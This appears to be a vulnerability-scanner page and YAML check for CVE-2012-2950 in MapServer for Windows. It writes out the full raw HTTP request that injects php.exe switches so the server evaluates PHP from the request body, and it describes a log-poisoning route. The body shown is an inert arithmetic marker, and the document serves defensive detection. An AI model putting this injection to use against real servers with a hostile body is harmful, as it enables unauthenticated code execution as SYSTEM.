MS4W — 1 vulnerability check
noctis ships 1 vulnerability check for MS4W, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
MapServer for Windows (MS4W) php.exe Argument Injection RCE
| CVE | CVE-2012-2950 |
|---|---|
| Severity | high · CVSS 8.1 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/ms4w/CVE-2012-2950.yaml |
MapServer for Windows (MS4W) 2.0 to 3.0.4 expose the bundled PHP CGI binary at /cgi-bin/php.exe. A query string without `=` is passed to php.exe as command-line switches, which lets a remote unauthenticated attacker include local files or run arbitrary PHP code with the privileges of the web server (SYSTEM by default). This test sends a POST to /cgi-bin/php.exe with the switches `-d allow_url_include=on -d auto_prepend_file=php://input` and an inert arithmetic PHP expression with a random marker as the body. The finding is reported only when the reply carries the computed result, which only real PHP evaluation of the body produces. Nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /index.phtml - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /cgi-bin/php.exe?-d+allow_url_include%3don+-d+cgi.force_redirect%3d0+-d+cgi.redirect… - Parses / computes the next value with a Rhai script
- Checks
check.evaluatedfor^true$→ finding QoD 97: MS4W php.exe argument injection: PHP code execution (CVE-2012-2950)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2012-2950
- https://seclists.org/fulldisclosure/2012/May/316
- https://www.securityfocus.com/bid/53737
- https://www.tenable.com/plugins/nessus/62788
Feed source — tests/vulnerabilities/ms4w/CVE-2012-2950.yaml
# MapServer for Windows (MS4W) exposed php.exe — CVE-2012-2950
#
# Detection logic adapted from the Greenbone NVT `2012/gb_mapserver4win_53737.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103602, GPL-2.0-only).
#
# MS4W 2.0 to 3.0.4 ship an Apache configuration that serves the bundled PHP
# CGI binary itself at /cgi-bin/php.exe. Apache hands a query string holding no
# `=` to the CGI as command-line arguments, so php.exe switches (-f, -d, -n…)
# can be injected; the bundled PHP (< 5.3.12) does not ignore them. PHP then
# runs as the Apache service account (SYSTEM by default).
#
# Deviations from the NASL (stronger and benign):
# - The NASL poisons Apache's access.log with PHP code, then runs it with
# `php.exe?-f<docroot>logs\access.log` to write a persistent phpinfo() file
# in htdocs and fetches it. That leaves a file and a log entry behind and
# needs DOCUMENT_ROOT from /phpinfo.php. This feed injects
# `-d allow_url_include=on -d auto_prepend_file=php://input` instead and
# sends an inert arithmetic expression with a random marker as the body: only
# real PHP evaluation returns `<marker><A*B>`. Nothing is written.
# - No dependency on /index.phtml carrying `<title>MS4W` nor on /phpinfo.php
# being present: an install with a customised home page or a removed
# phpinfo.php is still found. The MS4W home page is fetched and reported in
# the evidence when present.
# - Works with both PHP builds Windows packages ship: php-cgi (switches from
# the query, body prepended through php://input) and the CLI php.exe (switches
# from the query, the request body read on stdin as the script). The NASL's
# log-poisoning + `-f` route also covers both, at the cost of a write.
# - `-d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n` keep php.exe from
# refusing a direct request with "Security Alert!" (no REDIRECT_STATUS when
# the binary itself is requested).
#
# Raw `tcp_connect`: the query must reach Apache verbatim (`%3d`). TLS is
# wrapped automatically for https services.
uid: 61778dda-9ceb-47c0-8caa-30cc400f730f
name: "MapServer for Windows (MS4W) php.exe Argument Injection RCE (CVE-2012-2950)"
description: |
MapServer for Windows (MS4W) 2.0 to 3.0.4 expose the bundled PHP CGI binary
at /cgi-bin/php.exe. A query string without `=` is passed to php.exe as
command-line switches, which lets a remote unauthenticated attacker include
local files or run arbitrary PHP code with the privileges of the web server
(SYSTEM by default). This test sends a POST to /cgi-bin/php.exe with the
switches `-d allow_url_include=on -d auto_prepend_file=php://input` and an
inert arithmetic PHP expression with a random marker as the body. The
finding is reported only when the reply carries the computed result, which
only real PHP evaluation of the body produces. Nothing is written on the
target.
category: rce
cves: [CVE-2012-2950]
cvss: 8.1
severity: high
confidence_base: 0.25
tags: [ms4w, mapserver, php, php-cgi, windows, argument-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-2950"
- "https://seclists.org/fulldisclosure/2012/May/316"
- "https://www.securityfocus.com/bid/53737"
- "https://www.tenable.com/plugins/nessus/62788"
steps:
# ── Per-run benign payload + the token only real evaluation produces ─────
# The body first prints a CGI header: when /cgi-bin/php.exe is the CLI build
# (no `-f`, it runs the script it reads on stdin = the request body), Apache
# only relays the output if it starts with a header. The CGI build emits its
# own headers and the line simply lands in the body; the token survives both.
- id: build-payload
action: script
store_as: inj
code: |
let marker = "n" + rand_hex(5);
let a = rand_int(1000, 9999);
let b = rand_int(1000, 9999);
let body = "<?php echo \"Content-Type: text/plain\\r\\n\\r\\n" + marker + "\".(" + a.to_string() + "*" + b.to_string() + ");?>";
#{ body: body, len: strlen(body), token: marker + (a * b).to_string() }
# ── MS4W home page (context for the evidence only, never a gate) ─────────
- id: init-home
action: set_var
var_name: home_resp
var_value: {body: ""}
- id: home
action: http_request
method: GET
port: "{{port}}"
path: /index.phtml
tls_insecure: true
store_as: home_resp
- id: home-check
action: script
store_as: home
code: |
let body = if type_of(home_resp.body) == "string" { home_resp.body } else { "" };
#{ label: if stridx(body, "<title>MS4W") >= 0 { "MS4W home page found at /index.phtml" } else { "MS4W home page not identified" } }
# ── Exploit: php.exe switches from the query, inert body evaluated ───────
- id: probe
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "POST /cgi-bin/php.exe?-d+allow_url_include%3don+-d+cgi.force_redirect%3d0+-d+cgi.redirect_status_env%3d0+-d+auto_prepend_file%3dphp://input+-n HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {{inj.len}}\r\n\r\n{{inj.body}}"
store_as: probe_resp
- id: evaluate
action: script
store_as: check
code: |
let hay = if type_of(probe_resp.banner) == "string" { probe_resp.banner } else { "" };
#{ evaluated: stridx(hay, inj.token) >= 0 }
- id: confirm
action: match
source: check.evaluated
pattern: "^true$"
on_match:
finding:
title: "MS4W php.exe argument injection: PHP code execution (CVE-2012-2950)"
description: "/cgi-bin/php.exe accepted command-line switches from the query string: `-d auto_prepend_file=php://input` made it evaluate the request body as PHP. An inert arithmetic expression sent in the body came back evaluated."
remediation: "Upgrade MS4W to 3.0.6 or later, or remove public access to /cgi-bin/php.exe in the Apache configuration."
confidence_delta: 0.70
qod: 97
evidence: "POST /cgi-bin/php.exe?-d+allow_url_include%3don+...+-d+auto_prepend_file%3dphp://input+-n: the inert arithmetic body was returned evaluated (PHP code execution confirmed); {{home.label}}"